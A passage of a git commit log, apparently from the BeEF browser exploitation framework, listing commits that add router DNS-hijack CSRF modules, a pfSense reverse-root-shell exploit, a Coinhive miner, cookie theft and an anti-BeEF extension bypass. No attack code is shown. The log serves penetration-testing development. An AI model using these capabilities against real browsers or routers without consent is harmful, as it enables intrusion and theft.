and is inspired by it.

It is designed to be used for test purposes only.
Please, do not use it on people who haven't
given their consent. I.e. no cryptojacking.

In no way the author of this integration are
responsible for the use of it. We also
have no relation to crypto-loot.
2017-11-16 20:07:38 +01:00
Brendan Coles
22e7ded355 Merge pull request #1458 from Und3rf10w/pushover
Add error messages to pushover notification channel
2017-10-17 11:32:00 +11:00
Jonathan Echavarria
3e34834c78 Fixed rescuing Exception 2017-10-16 11:19:32 -04:00
Jonathan Echavarria
509d1ac086 Fixing typo 2017-10-16 11:10:29 -04:00
Jonathan Echavarria
7099238f15 added error notifications to pushover notification channel 2017-10-16 11:04:13 -04:00
Brendan Coles
45fd6abade Merge pull request #1457 from bcoles/slack_notifications
Add Slack notifications to Notifications extension
2017-10-15 22:21:03 +11:00
Brendan Coles
c62050249d Add Slack notifications to Notifications extension 2017-10-15 11:18:40 +00:00
Brendan Coles
7b682bde4b Merge pull request #1452 from Und3rf10w/pushover
Add Pushover notification channel
2017-10-15 21:44:57 +11:00
Brendan Coles
9d8a311e72 Add geoip dependency to BrowserDetails 2017-10-15 09:27:00 +00:00
Brendan Coles
2749d6620a Add rubydns dependency to extension 2017-10-15 08:56:19 +00:00
Brendan Coles
e1760d74c8 Remove gem deps from core/loader 2017-10-15 08:47:13 +00:00
Brendan Coles
6c21da3cf5 Add rushover dependency to Gemfile 2017-10-15 06:02:07 +00:00
Brendan Coles
16973ccd48 Add Coinhive Miner ARE rule 2017-10-14 17:01:25 +00:00
Brendan Coles
8905ea2ce4 Update dependencies 2017-10-14 16:42:20 +00:00
Brendan Coles
f4cca7a479 Fix IE plugin detection 2017-10-14 15:59:11 +00:00
Brendan Coles
68099ddf17 Add checks for mobile devices and browser capabilities 2017-10-14 12:32:57 +00:00
Brendan Coles
b700039979 Update hardware detection 2017-10-14 09:48:03 +00:00
Brendan Coles
dbb5055391 Update mdetect library 2017-10-14 09:22:34 +00:00
Brendan Coles
118fcc7d6f Add mode option 2017-10-14 08:10:06 +00:00
Brendan Coles
9bbf92de68 Fix #1453 2017-10-13 16:22:34 +00:00
Brendan Coles
45847d139f Merge pull request #1454 from bcoles/coinhive_miner
Add Coinhive Miner module
2017-10-14 03:06:49 +11:00
Brendan Coles
c1a7cd11bd Add Coinhive Miner module 2017-10-13 16:02:47 +00:00
Jonathan Echavarria
63e9e72194 add gem install warning to notifications config 2017-10-05 09:47:43 -04:00
Jonathan Echavarria
1b5e56e4a6 removed debug line from pushover notification channel 2017-10-05 09:45:59 -04:00
Jonathan Echavarria
27d1166869 set pushover to be disabled by default 2017-10-05 09:44:35 -04:00
Jonathan Echavarria
409d9962bb modified the notifications extenion to add pushover support 2017-10-05 09:43:11 -04:00
Jonathan Echavarria
d47303f0e7 changed config.yaml to add pushover support 2017-10-05 09:40:36 -04:00
Jonathan Echavarria
c01febbe9b added pushover channel 2017-10-05 09:39:39 -04:00
Brendan Coles
16647337e7 Add support for Firefox 56 2017-10-01 05:43:45 +00:00
Brendan Coles
75247c60a1 Merge pull request #1448 from wanton1950/1444_high_risk
#1444 high risk
2017-09-25 16:19:42 +10:00
Bucky Wilson
60108af685 Passphrase issues made clearer. 2017-09-25 15:24:14 +10:00
Bucky Wilson
b7fc40247c Capture limited password stupidity 2017-09-25 12:24:23 +10:00
Bucky Wilson
675c6a9edb Create temporary password in-lieu of using default 2017-09-25 12:00:32 +10:00
Brendan Coles
de144a0e45 Move credentials to top of config.yaml file 2017-09-24 15:15:55 +10:00
Brendan Coles
82172351e1 Add link to wiki configuration page 2017-09-24 14:49:35 +10:00
Brendan Coles
69aa2a31c1 Merge pull request #1437 from beefproject/revert-1436-patch-1
Revert "html_escape prevent code execution ."
2017-08-30 16:25:23 +10:00
Brendan Coles
0311b317b7 Revert "html_escape prevent code execution ." 2017-08-30 16:25:04 +10:00
Brendan Coles
aa3c0932ce Use in msf-exploits.cache path 2017-08-29 07:24:03 +00:00
Brendan Coles
9ab7461ac5 Merge pull request #1436 from touhidshaikh/patch-1
html_escape prevent code execution .
2017-08-29 17:00:53 +10:00
Brendan Coles
e52a1af148 Merge pull request #1434 from gregmolnar/edge_detection
detect microsoft edge
2017-08-29 16:56:42 +10:00
Touhid M Shaikh
098b9a24bf html_escape prevent code execution .
I noticed when i put HTML content in "beef-xss/config.yaml" file in Version Field.
And Restart Beef(beef_start.png) and Go to Admin Panel in my browser, then my html interpreter and execute.
This issue occurs bcz of "/beef-xss/extensions/admin_ui/controllers/panel/index.html" in this file insecure code implementetion.

NOW html_escape prevent code execution.
2017-08-25 15:41:31 +05:30
Greg Molnar
2d7cfd73f4 detect microsoft edge 2017-08-23 13:37:38 +02:00
Brendan Coles
f245d12da3 Downgrade therubyracer to 1.12.2 2017-08-15 10:35:35 +00:00
Brendan Coles
c86bdc2cfe Merge pull request #1429 from fabianfrz/fabianfrz-fix-gemfile
fix gemfile; closes #1428
2017-08-15 19:59:57 +10:00
Fabian Franz
12800215f9 fix gemfile 2017-08-15 11:03:21 +02:00
Brendan Coles
b58875c952 Add support for Firefox 54 and 55 2017-08-12 02:19:26 +00:00
Brendan Coles
1f56b835f6 Use beef.net.is_valid_ip 2017-08-12 02:03:11 +00:00
Brendan Coles
81b5182689 Add router DNS hijack modules 2017-08-12 01:47:29 +00:00
Brendan Coles
173a65be13 Add IP and port validation to beef.net 2017-08-11 06:12:15 +00:00
Brendan Coles
f545b3631b Replace gsub quotes with base64 encoding 2017-08-11 05:44:32 +00:00
Brendan Coles
50a97d3e36 Fix XSSRays when evasion is enabled - Fix #1426 2017-08-06 23:28:13 +00:00
Brendan Coles
14e788e574 Fix requester when evasion is enabled - Fix #1386 2017-08-06 22:16:40 +00:00
Brendan Coles
d5b020f9be Add evasion to build_missing_beefjs_components method 2017-08-06 22:08:04 +00:00
Brendan Coles
4f153c2de3 Support empty output messages to DNS logger 2017-08-06 22:02:55 +00:00
Brendan Coles
4ff956c9be Add tests for variable decleration with 'let' 2017-08-06 18:39:23 +00:00
Brendan Coles
5a2a74c6a7 Update dependencies 2017-08-05 16:18:33 +00:00
Brendan Coles
93ef7c0643 Update msfrpc-client dependency to v1.1.1 2017-08-04 06:05:43 +00:00
Brendan Coles
8cbe15deaa Add comment warning not to use the console extension 2017-06-30 06:31:11 +00:00
Brendan Coles
e8f9ee1234 Rollback Rack dependency to 1.6.x 2017-06-30 06:21:33 +00:00
Brendan Coles
36cc4a4dd3 Add event log RSS feed 2017-06-29 11:00:24 +00:00
Brendan Coles
f320669f56 Update dependencies 2017-06-29 05:11:51 +00:00
Brendan Coles
5f4cc87d13 Show errors from msfrpc-client 2017-06-18 03:13:23 +00:00
Brendan Coles
98c187fb38 Add NtfsCommonCreate DoS module 2017-06-01 02:24:12 +00:00
antisnatchor
9bf7fe3002 removed copyright 2017-05-31 09:01:10 +02:00
antisnatchor
c3685fcdf7 Fixed a few JS errors preventing the module from running. Tested on Edge 40 (Win10) and Chrome 58 (OSX) 2017-05-31 08:56:37 +02:00
antisnatchor
9589a70610 Merge pull request #1401 from SkyLined/master
Add ORTC, fix WebRTC bug
2017-05-31 08:41:11 +02:00
SkyLined
992e9235c7 Add ORTC, fix WebRTC bug
* Add Object-RTC implementation that should work in Edge 38.
* Fix issue where WebRTC implementation could report partial results if there are multiple local IP addresses (e.g. multiple network cars, IPv4 & IPv6, ...). In such cases, the results would be reported for each IP address, where they should only be reported once, after all IP addresses have been enumerated.
* All indentation is now 4 spaces.
2017-05-30 20:59:40 +02:00
Brendan Coles
dd47856c91 Add Detect Coupon Printer module 2017-05-20 17:37:44 +00:00
Brendan Coles
1dfc03e6e7 Add popunder persistence module with popup blocker bypass for IE 2017-05-20 14:18:35 +00:00
Brendan Coles
7ef36039a4 Add detection for WebGL support to BrowserDetails 2017-05-13 06:36:58 +00:00
Brendan Coles
2c43328614 Add detection for Web Worker support to BrowserDetails 2017-05-13 06:18:20 +00:00
Brendan Coles
9a9b826364 Update browser details from module post_execute 2017-05-12 14:24:14 +00:00
Brendan Coles
363802b028 Move require statements to core/loader 2017-05-12 13:48:25 +00:00
Brendan Coles
64adb6f7fa Downgrade therubyracer dependency for linux to 0.12.2 2017-05-07 04:16:47 +00:00
Brendan Coles
3a499c514a Add support for Chrome 57 and 58 2017-05-04 13:46:00 +00:00
Brendan Coles
6664467c56 Add Detect MIME Types module 2017-04-29 15:06:34 +00:00
Brendan Coles
923f1d9797 Add Fingerprint Browser module using FingerprintJS2 library 2017-04-29 14:19:19 +00:00
Brendan Coles
686d202efa Update links on demo pages 2017-04-28 11:37:33 +00:00
Brendan Coles
4c1d9111a9 Add support for Firefox 52 and 53 2017-04-28 09:05:50 +00:00
Brendan Coles
a2dbb6f7e2 Merge pull request #1393 from clod81/fix_jsonp_persistence_html_payload
JSONP tempBody variable working again
2017-04-28 18:32:32 +10:00
Claudio Contin
318796b11c Make html tempBody variable working again 2017-04-28 20:18:55 +12:00
Brendan Coles
b65dec0449 Update AdminUI jQuery to 1.12.4 2017-04-27 11:42:00 +00:00
Brendan Coles
eb8964f3ca Add DNS REST examples 2017-04-27 11:23:14 +00:00
Brendan Coles
8b9e8f02d3 Strip Windows support from auto msfrpcd 2017-04-26 10:21:02 +00:00
Brendan Coles
34967f61e0 Ignore null objects for browser_type 2017-04-23 07:00:39 +00:00
Brendan Coles
de5c231d34 Convert query response to_s in BrowserDetails 2017-04-23 06:32:28 +00:00
Brendan Coles
572b2db906 Add tests for BrowserDetails model 2017-04-23 06:02:11 +00:00
Brendan Coles
21238254a3 Add functionality to update existing BrowserDetails keys 2017-04-23 06:00:57 +00:00
Brendan Coles
c3069601e8 Add debug output to modules 2017-04-23 03:58:44 +00:00
Brendan Coles
cc260598d3 Load URL from ui_base_path 2017-04-23 03:44:16 +00:00
Brendan Coles
5c406b8d4f Add unless is_non_empty_string guard clause to browser filters 2017-04-23 03:25:36 +00:00
Brendan Coles
117091178f Convert nil values to an empty string in BrowserDetails.set method 2017-04-23 03:24:31 +00:00
Brendan Coles
9ad5ddf534 Add method to delete response from requester history 2017-04-23 01:45:30 +00:00
Brendan Coles
9b57435d5e Add placeholder for requester REST endpoints 2017-04-23 01:43:57 +00:00
Brendan Coles
1ae56a9797 Update Ruby version to 2.3.0 and add NodeJS 2017-04-22 23:42:35 +00:00
Brendan Coles
46a395e044 Add WiPG-1000 Command Injection exploit module 2017-04-22 23:34:07 +00:00
Brendan Coles
f9f30eb49d Force UTF-8 encoding for zombie HTTP headers 2017-04-22 03:29:49 +00:00
Brendan Coles
c191a50f3c Force UTF-8 encoding for requester responses - Fix #1340 2017-04-22 02:10:48 +00:00
Brendan Coles
127b1d56e7 Add UTF-8 characters to demo pages for testing purposes 2017-04-22 01:52:13 +00:00
Brendan Coles
275153be38 Remove todo note 2017-04-20 19:56:31 +00:00
Brendan Coles
9a97ffed6e Pad bottom of generic pretty theft popup 2017-04-19 13:37:48 +00:00
Brendan Coles
91bfb06f8c Add check for mixed content requests in beef.net.forge_request 2017-04-16 17:17:34 +00:00
Brendan Coles
530962ea29 Cleanup and fix proxy/requester 2017-04-16 14:29:28 +00:00
Brendan Coles
08f5cf3e29 Cleanup and fix proxy/requester 2017-04-16 14:28:45 +00:00
Brendan Coles
5a8e0d855c Re-add therubyracer gem dependency for Linux 2017-04-16 11:36:08 +00:00
Brendan Coles
9a817c2271 Escape apostrophes in module user-input 2017-04-16 10:30:13 +00:00
Brendan Coles
9d20a68b4e Merge pull request #1381 from clod81/persistence_jsonp_service_worker
Persistence through unfiltered JSONP callback and service worker
2017-04-16 20:15:05 +10:00
Claudio Contin
defdadb673 encodeURIComponent instead of requiring user to input already encoded string
use beef.net.hook instead of hook.js
specify only chrome supported, and ALL others not
2017-04-16 15:28:48 +12:00
Brendan Coles
f7a26556e9 Update hook jQuery to 1.12.4 - Fix #1133 2017-04-15 10:50:26 +00:00
Brendan Coles
afa7739482 Add debugging output to requester 2017-04-15 10:27:10 +00:00
Brendan Coles
4edab3e961 Save data to ~/.beef - Fix #1254 2017-04-15 09:56:01 +00:00
Brendan Coles
55797a7b17 Add error message for unsupported browsers 2017-04-13 17:43:50 +00:00
Brendan Coles
b08b7d935a Remove old jQuery 2017-04-13 17:42:46 +00:00
Brendan Coles
8cb5cd3484 Remove old jQuery from modules 2017-04-13 10:00:20 +00:00
Brendan Coles
1334456d9e Remove xmlrpc/client from core/loader 2017-04-12 12:04:11 +00:00
Brendan Coles
dba31548aa Add nokogiri to Gemfile 2017-04-12 12:03:44 +00:00
Brendan Coles
fdda8b5d05 Update dependencies 2017-04-12 09:44:40 +00:00
Brendan Coles
fc2a93ac13 Update rubyzip gem (CVE-2017-5946) 2017-04-12 09:19:11 +00:00
Brendan Coles
6b1d610c1f Add ARG-W4 ADSL Router DNS Hijack CSRF module 2017-04-12 04:26:56 +00:00
Brendan Coles
d3d41301a3 Update Tenda ADSL Router DNS Hijack module 2017-04-12 04:25:53 +00:00
Brendan Coles
880f63a9ff Warn on startup if default credentials in use 2017-04-10 18:51:31 +00:00
Brendan Coles
d7fd3acf23 Update minimum supported Ruby version to 2.2 2017-04-10 18:43:16 +00:00
Brendan Coles
a03164f212 Add click event handler to popunder window module 2017-04-10 18:30:26 +00:00
Brendan Coles
5d927d9d1b Add rake to Gemfile test group 2017-04-10 16:46:31 +00:00
Brendan Coles
1a68c165bb Add missing libraries to beefjs - Part of #1323 2017-04-10 16:46:01 +00:00
Brendan Coles
6839374199 Replace Detect Software module 2017-04-09 17:19:20 +00:00
Brendan Coles
5f412678c2 Merge pull request #1385 from almostwhitehat/fix-chunked-encoding
Omit Transfer-Encoding header in proxy responses
2017-04-10 03:03:52 +10:00
Brendan Coles
475f8395d7 Remove Fingerprint OS module 2017-04-09 17:11:20 +00:00
Matt Metzger
f0fdc3d537 Omit Transfer-Encoding header in proxy responses
Beef automatically calculates and inserts a Content-Length header when
sending proxy responses. If the Transfer-Encoding header is not
stripped, many browsers treat this as a Content-Length of 0, thus
rendering an empty body.
2017-04-09 01:20:32 -04:00
Brendan Coles
a083fc2b63 Add Detect Users module 2017-04-07 08:33:44 +00:00
Brendan Coles
50855d8f10 Add Detect Local Drives module 2017-04-07 08:32:01 +00:00
ccontin
40492399cf change description slightly 2017-04-03 16:15:52 +12:00
ccontin
8d685771fa add ability to return some fake HTML, instead of a blank page 2017-04-03 16:12:23 +12:00
ccontin
32454004e2 first POC working 2017-04-03 15:49:19 +12:00
Brendan Coles
b039b4a1d1 Merge pull request #1379 from dpatrongomez/master
Improved design
2017-04-02 23:50:40 +10:00
Daniel Patrón Gómez
bc2626767c Update LinkedIn logo 2017-03-26 14:37:44 +02:00
Daniel Patrón Gómez
0ce9807335 Improved design 2017-03-26 14:26:31 +02:00
Brendan Coles
089bacd0a2 Remove therubyracer dependency 2017-03-15 14:54:40 +00:00
Brendan Coles
6ca5341eb1 Merge pull request #1373 from gusbo/patch-1
Update command.js
2017-03-07 00:50:54 +11:00
Gustav Boström
a4fb447153 Update command.js 2017-03-06 13:56:07 +01:00
Gustav Boström
d58064443a Update command.js
Remove the trailing });. The Get Cookie-module stopped working for me, but works again after I remove the last line which seems lika a bug to me.
I get an error "Unexpected token }" in the Chrome JavaScript-console of the hooked browser when I invoke the module from the BeeF- UI.
2017-03-06 13:37:14 +01:00
Brendan Coles
7e8e22a9c3 Merge pull request #1370 from nstarke/branches/netgear-dgn2000
Adding Netgear DGN2000 WAN Remote Management CSRF Module
2017-02-26 12:40:07 +11:00
Brendan Coles
4384ba1563 Merge pull request #1368 from nstarke/branches/dlink_dgs_110-fdb-whitelist
Adding DLink DGS 1100 FDB Whitelist module
2017-02-26 12:38:17 +11:00
Brendan Coles
0bcf0b473d Merge pull request #1367 from nstarke/branches/dlink_dgs_1110-device-reset
Adding DLink DGS 1100 Switch Device Reset CSRF Module
2017-02-26 12:38:04 +11:00
Brendan Coles
9203bb1e32 Merge pull request #1369 from nstarke/branches/dlink_dgs_1100-port-mirroring
Adding DLink DGS 1100 Port Mirroring module
2017-02-26 12:37:59 +11:00
Nicholas Starke
ab0c0278c6 Adding Netgear DGN2000 WAN Remote Management CSRF Module 2017-02-25 09:52:22 -06:00
Nicholas Starke
f3b797475c Adjusting to use XsrfForm 2017-02-25 08:08:37 -06:00
Nicholas Starke
558646bd85 Adjusting to use XsrfForm 2017-02-25 08:03:45 -06:00
Nicholas Starke
a71030efa6 Converting to use XsrfForm 2017-02-25 07:51:37 -06:00
Nicholas Starke
e62c8b3316 Adding DLink DGS 1100 Port Mirroring module 2017-02-23 19:26:43 -06:00
Nicholas Starke
37b83e3a38 Adding DLink DGS 110 DB Whitelist module 2017-02-23 19:23:45 -06:00
Nicholas Starke
14d60c57d8 Adding DLink DGS 1100 Switch Device Reset CSRF Module 2017-02-23 19:20:13 -06:00
Brendan Coles
915869f23a Change 'working' to 'user_notify' 2017-02-22 19:08:56 +00:00
Brendan Coles
e3a934af12 Move exploits/pfsense module to exploits/pfsense/pfsense_reverse_root_shell_csrf 2017-02-22 15:15:02 +00:00
Brendan Coles
1b5885db34 Merge pull request #1366 from yanncam/pfSense_2.3.2_RCE
Add pfSense <= 2.3.2 Reverse root shell via CSRF/XSS exploit module
2017-02-23 01:40:23 +11:00
yanncam
2f632bcbcd Add pfSense <= 2.3.2 Reverse root shell via CSRF/XSS exploit module 2017-02-22 14:38:43 +01:00
Brendan Coles
0527be31dd Merge pull request #1364 from bcoles/invisible_htmlfile_activex
Add Invisible HTMLFile ActiveX persistence module
2017-02-22 01:33:59 +11:00
Brendan Coles
fdd1a6775b Update config.yaml 2017-02-22 01:32:52 +11:00
Brendan Coles
32bbe32183 Update command.js 2017-02-22 01:32:15 +11:00
Brendan Coles
c20ba2a75d Add Invisible HTMLFile ActiveX persistence module 2017-02-21 14:37:19 +00:00
Brendan Coles
86f6d3d2f8 Add support for Firefox 51 2017-02-08 12:13:09 +00:00
Brendan Coles
74de77e157 Updated Copyright information 2017-02-05 05:39:31 +00:00
Brendan Coles
59fecdcce3 Test if supplied IP address is valid dot-decimal format 2017-02-05 05:28:30 +00:00
Brendan Coles
06263790c8 Test if supplied IP address is valid dot-decimal format 2017-02-04 22:20:48 +00:00
Brendan Coles
ce849dc12a Merge pull request #1352 from benichmt1/get_cookie-status
Get cookie ARE status update
2017-02-04 11:21:35 +11:00
Michael Benich
0b606f8d79 Send status messages 2017-02-03 16:45:12 -05:00
Michael Benich
408e18c0c6 Add json for get_cookie 2017-02-03 15:32:07 -05:00
Brendan Coles
8820ddc294 Store NetworkHost :lastseen as integer - Fix #1348 2017-02-03 19:53:44 +00:00
Brendan Coles
3758b7df28 Merge pull request #1338 from curea/master
Updated modules to reference beef_host and beef_port
2017-01-23 04:38:28 +11:00
Brendan Coles
9106baaa57 Re-add assets for MS12-004 exploit 2017-01-17 21:49:41 +00:00
Brendan Coles
e5f6ff3b11 Add 'Spoof Address Bar (data URL)' module 2017-01-16 11:07:00 +00:00
Aaron Cure
345a3cebcd Updated modules to reference beef_host and beef_port 2017-01-05 15:38:58 -07:00
Wade Alcorn
91cc7ed873 Updated Copyright information 2016-12-29 15:50:13 +10:00
Brendan Coles
ebc5466594 Merge pull request #1331 from TheJambo/master
Minor updates
2016-12-27 17:02:42 +11:00
TheJambo
cb3a62ba5d Update WelcomeTab.js 2016-12-22 09:32:35 +00:00
TheJambo
6c103cfac7 Updated to include IPEC 2016-12-22 09:14:11 +00:00
TheJambo
6f5a63266e Minor Text Fix 2016-12-22 08:54:42 +00:00
TheJambo
d72d3c828b Minor Text Fix 2016-12-22 08:40:45 +00:00
TheJambo
180969ca3c Minor Text Fix 2016-12-22 08:36:35 +00:00
TheJambo
efa0f47ed3 Minor Text Fix 2016-12-22 08:34:48 +00:00
TheJambo
b533bca1de Minor text changes
Wrong version of Discreet/Discrete.
2016-12-22 08:28:09 +00:00
TheJambo
519920c4ed Minor text changes 2016-12-22 08:25:25 +00:00
Brendan Coles
1277791f78 Merge pull request #1327 from bennelson1234/Add-support-to-detect-Chrome-v50-to-v56
Added support of Chrome 52 to 56
2016-12-03 14:18:43 +11:00
bennelson1234
827682c0ef Added support of Chrome 52 to 56
Added support to detect the desktop and iOS Chrome browser versions 52 through to 56
2016-12-03 11:14:31 +13:00
Brendan Coles
e95ef8f5d4 Add support for Firefox 50 2016-11-27 08:52:29 +00:00
Brendan Coles
f50f289838 Merge pull request #1316 from phosphore/master
add Avast (ASW) detection to the detect_av module
2016-10-26 02:50:37 +11:00
phosphore
e10135e782 add Avast (ASW) detection to the detect_av module 2016-10-25 15:49:53 +02:00
Brendan Coles
7319868956 Merge pull request #1315 from phosphore/master
add detect_antivirus module, merging the old bitdefender module
2016-10-25 21:47:48 +11:00
phosphore
95ebb206b3 improve detect_av with BeEF API and compatibility with old IE versions 2016-10-25 11:41:57 +02:00
phosphore
9bc0fe73f1 add detect_antivirus module, merging the old bitdefender module 2016-10-24 17:44:03 +02:00
Brendan Coles
f20528e13b Update minimum required version of Ruby to 2.1 2016-10-09 20:11:24 +00:00
Brendan Coles
6d7f799abf Add confirmation to SSL certificate generation 2016-10-09 19:40:11 +00:00
Brendan Coles
3884bd10c0 Add Rake task to re-generate SSL/TLS certificate 2016-10-09 01:23:34 +00:00
Brendan Coles
0238134048 Add Exper EWM-01 ADSL Router DNS Hijack module 2016-10-08 23:30:31 +00:00
Brendan Coles
35e9face4f Add D-Link DSL-526B ADSL Router DNS Hijack module 2016-10-08 23:30:07 +00:00
Brendan Coles
791c15c77a Add D-Link DSL-2780B ADSL Router DNS Hijack module 2016-10-08 23:29:44 +00:00
Brendan Coles
b932cefeef Add Comtrend CT Series Router DNS Hijack module 2016-10-08 23:29:18 +00:00
Brendan Coles
7c7cd0a320 Add ASUS DSL-X11 ADSL Router DNS Hijack module 2016-10-08 23:28:50 +00:00
Brendan Coles
4762d20ac4 Add Tenda ADSL Modem 963281TAN Router DNS Hijack module 2016-10-08 19:38:46 +00:00
Brendan Coles
17eadd007e Add Planet VDR-300NU ADSL Router DNS Hijack module 2016-10-08 19:38:30 +00:00
Brendan Coles
a69ccff8e8 Add PIKATEL Router DNS Hijack module 2016-10-08 19:38:08 +00:00
Brendan Coles
5cbf0eb794 Add Inteno EG101R1 VoIP Router DNS Hijack module 2016-10-08 19:37:44 +00:00
Brendan Coles
ff83871d44 Add console events to event logger 2016-10-08 18:27:19 +00:00
Brendan Coles
ce3261900e Update butcher demo to use jQuery 1.12.4 2016-10-07 21:11:05 +00:00
Brendan Coles
2a5d878eee Use relative script URL for demos 2016-10-07 21:04:25 +00:00
Brendan Coles
69062f5761 Change 'submit' to 'Submit' automatically for createIframeXsrfForm() inputs - Fix #1117 2016-10-07 16:10:56 +00:00
Brendan Coles
baf45ca275 Merge pull request #1303 from yanncam/ZeroShell_2.0RC2_modules
Adding ZeroShell 2.0RC2 modules to BeEF
2016-10-08 02:25:54 +11:00
Brendan Coles
fbac8cd55a Update PR #1301 2016-10-07 05:20:49 +00:00
Brendan Coles
d47c69abb3 Merge pull request #1301 from wireghoul/master
FarLinX X25 auth RCE module
2016-10-07 16:17:02 +11:00
Yann CAM
f8afc3e326 Add some beef.debug() in all ZeroShell's modules 2016-10-06 13:47:19 +02:00
Yann CAM
528e00bf6e Add beef.are.status_success(), beef.are.status_error() or beef.are.status_unknown() status code returned to each beef.net.send() for ZeroShell's modules. 2016-10-06 10:33:17 +02:00
Yann CAM
861e846dbe Update hookuri auto-generated and generic (proto / host / port / hook name).
Replace tab with space.
2016-10-05 14:20:12 +02:00
Brendan Coles
4a5c2f0c44 Update banners for public IP/port 2016-10-04 22:28:47 +00:00
Brendan Coles
d11f041963 Update config comments 2016-10-04 22:26:51 +00:00
Brendan Coles
b27166c8aa Merge pull request #1310 from bcoles/hijack_opener
Update Hijack Opener Window module to use server-side iframe loader
2016-10-05 03:18:17 +11:00
Brendan Coles
2a952e99ee Update Hijack Opener Window module to use server-side iframe loader 2016-10-04 16:11:38 +00:00
Yann CAM
11a25de6da Adding ZeroShell 2.0RC2 modules to BeEF (RCE / Password and token disclosure) - Update Internal Network fingerprinting 2016-09-26 16:31:04 +02:00
Brendan Coles
c2482f0fe6 Add support for Firefox 49 2016-09-21 12:16:51 +00:00
Eldar Marcussen
b7ed74199c FarLinX X25 auth RCE module 2016-09-15 02:24:18 -04:00
Brendan Coles
32d2226991 Merge pull request #1298 from TannerFilip/master
"it's dependencies" should be "its"
2016-09-05 18:52:08 +10:00
Tanner Filip
f7dbab0120 fix typo 2016-09-04 12:23:35 -05:00
Brendan Coles
bee53cfede Add support for Firefox 48 2016-09-03 16:36:32 +00:00
Brendan Coles
0909998929 Merge pull request #1295 from bcoles/hijack_opener
Add Hijack Opener module
2016-09-02 02:21:12 +10:00
Brendan Coles
49c3df1e44 Add Hijack Opener module 2016-09-01 16:19:33 +00:00
Brendan Coles
d3a30a9b18 Add timeout to MSF RPC initial connection 2016-07-04 10:53:37 +00:00
antisnatchor
9e3385cf4c Had to publish the 3th bypass for Vegan anti-BeEF Chrome extension from Cylance. 2016-07-04 09:14:31 +02:00
Brendan Coles
5fb1fa34b6 Remove BozoCrack module 2016-06-20 23:48:35 +00:00
Brendan Coles
0234c548e5 Add NoSleep module 2016-06-14 19:30:56 +00:00
Brendan Coles
045aabb9bf Fix Safari version detection 2016-06-14 19:29:07 +00:00
Brendan Coles
1d5a82745e Remove Google search module 2016-06-12 14:35:41 +00:00
Brendan Coles
ef6d5ae431 Add support for Firefox 47 2016-06-05 12:05:09 +00:00
Brendan Coles
a278cdae2a Add support for Chrome 50 and 51 2016-06-01 08:06:52 +00:00
Brendan Coles
4e741a067b Add bind_cached 2016-05-28 05:44:04 +00:00
Brendan Coles
16da11e7df Play sound in AdminUI upon new hooked browser 2016-05-15 01:26:06 +00:00
Brendan Coles
8ebf26390c Merge pull request #1267 from bcoles/text_to_voice
Add Text to Voice module
2016-05-15 06:28:12 +10:00
Brendan Coles
5e91dfb9d7 Add Text to Voice module 2016-05-14 20:22:51 +00:00
Brendan Coles
ad21b4bb93 Update ISSUE_TEMPLATE.md 2016-05-13 10:57:40 +10:00
Brendan Coles
ea8281ccb2 Remove console shell from config 2016-05-09 12:03:46 +00:00
Brendan Coles
4aa5a87908 Update Play Sound module 2016-05-05 13:59:00 +00:00
Brendan Coles
3af579bcd5 Add module fake_notification_ie - Fix #1093 2016-05-05 09:24:35 +00:00
Brendan Coles
d15f016336 Rename module fake_notification_ie to fake_notification 2016-05-05 09:21:26 +00:00
Brendan Coles
0e0a0fd077 Replace console.log with beef.debug 2016-05-02 15:17:38 +00:00
Brendan Coles
0be18e57a0 Merge pull request #1259 from mgeeky/get_snapshot
Four additional ARE rules.
2016-05-02 21:32:16 +10:00
mgeeky
f206be9233 Revert "Revert "Added four new ARE rules""
This reverts commit 0da8696248.
2016-05-02 13:08:16 +02:00
Brendan Coles
af737f80ec Merge pull request #1258 from mgeeky/get_snapshot
Spyder_Eye got updated. #2
2016-05-02 18:55:04 +10:00
mgeeky
0da8696248 Revert "Added four new ARE rules"
This reverts commit 1449913c65.
2016-05-02 10:14:49 +02:00
mgeeky
1449913c65 Added four new ARE rules 2016-05-02 10:11:25 +02:00
mgeeky
b383dc2108 Pollished the code a little 2016-05-02 09:57:31 +02:00
mgeeky
2cf6504912 Revert "Added three new Autorun rules"
This reverts commit 010867cf24.
2016-05-02 09:43:26 +02:00
mgeeky
4058381f9a Revert "Added record_snapshots autorun rule"
This reverts commit abdb5462cf.
2016-05-02 09:43:12 +02:00
Brendan Coles
f3da655876 Merge pull request #1257 from bcoles/master
Update Gemfile.lock
2016-04-30 00:14:51 +10:00
Brendan Coles
3a287ba808 Add RVM 2.3.0 to .travis.yml 2016-04-29 14:17:11 +00:00
Brendan Coles
d61f988733 Update Gemfile.lock 2016-04-29 14:16:49 +00:00
Brendan Coles
0e8e07668f Use base64 for module inputs 2016-04-23 06:24:55 +00:00
Brendan Coles
849a3c47e1 Re-enable DNS unit tests 2016-04-22 08:49:48 +00:00
Brendan Coles
b2c4b40fe8 Re-enable DNS integration tests 2016-04-22 06:29:20 +00:00
Brendan Coles
dbccb111e5 Validate empty DNS REST API JSON keys 2016-04-22 06:27:05 +00:00
Brendan Coles
cbf6b97a47 Load extensions from 2016-04-22 02:51:39 +00:00
Brendan Coles
8139488482 Add core/extensions test cases 2016-04-22 02:51:06 +00:00
Brendan Coles
0d11678ed0 Update Gemfile.lock 2016-04-22 02:07:21 +00:00
Brendan Coles
13668617a9 Remove em-websocket gem version requirement 2016-04-22 01:50:56 +00:00
Brendan Coles
c49119df7f Require rest-client >= 1.8.0 for tests 2016-04-22 01:39:23 +00:00
Brendan Coles
13b5d7f83d Update Ruby version to 2.3.0 2016-04-21 23:21:32 +00:00
Brendan Coles
02978fdbf7 Disable DNS extension by default 2016-04-21 02:33:53 +00:00
mgeeky
bf523dc57a Revert "Added get-token.sh utility useful when doing some manual RESTful api calls"
This reverts commit 89d11819ee.
2016-04-18 11:15:59 +02:00
mgeeky
89d11819ee Added get-token.sh utility useful when doing some manual RESTful api calls 2016-04-18 11:14:53 +02:00
mgeeky
abdb5462cf Added record_snapshots autorun rule 2016-04-18 11:11:42 +02:00
mgeeky
3edd291064 Forgot about scaling desired delay between consecutive snapshots... 2016-04-18 10:29:18 +02:00
Brendan Coles
624d81749e Add Ping Sweep module 2016-04-17 14:07:55 +00:00
Brendan Coles
7d4d188bb5 Rename Ping Sweep module to Ping Sweep (FF) 2016-04-15 17:08:22 +00:00
mgeeky
ffdb942cf1 Added hyphen to separate ip and date in screenshot filename 2016-04-15 10:09:21 +02:00
mgeeky
6cc5a822d7 Applied some of @bcoles ideas regarding post_execute handler, also added beef.debug and parseInt base conversion 2016-04-15 10:03:37 +02:00
mgeeky
